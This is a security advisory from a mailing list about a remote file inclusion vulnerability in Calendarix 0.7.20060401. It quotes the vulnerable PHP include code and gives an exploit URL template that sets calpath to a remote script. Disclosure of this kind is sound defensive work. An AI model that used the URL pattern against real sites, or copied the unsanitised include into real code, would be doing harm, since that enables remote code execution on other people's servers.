[UNIX] Calendarix calpath File Inclusion



The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html

- - - - - - - - -



Calendarix calpath File Inclusion
------------------------------------------------------------------------


SUMMARY

<http://www.calendarix.com/> Calendarix Is "a powerful and easy to use
calendar based on PHP and MySQL". A file inclusion vulnerability in
Calendarix allows remote attackers to cause the product to include and
execute arbitrary files into its execution path.

DETAILS

Vulnerable Systems:
* Calendarix version 0.7.20060401

Vulnerable code in cal_config.inc.php:
...
<?php
// Check file exist for admin call to this script
require $calpath."cal_db.inc.php";
..
$language = 'e';
# don't change next 3 lines !
require $calpath."cal_languages/".$language.".inc.php";
require $calpath."cal_languages/".$language.".months.php";
require $calpath."cal_languages/".$language.".week.php";
..
include $calpath."themes/".$theme.".color.php" ;
?>

Exploit:
The following URL can be used to trigger the vulnerability:
http://www.target.com/[Calendarix]/cal_config.inc.php?calpath=[Evil
Script]


ADDITIONAL INFORMATION

The information has been provided by <mailto:sh3ll@xxxxxxxx> Sh3ll.



========================================


This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@xxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxx


====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.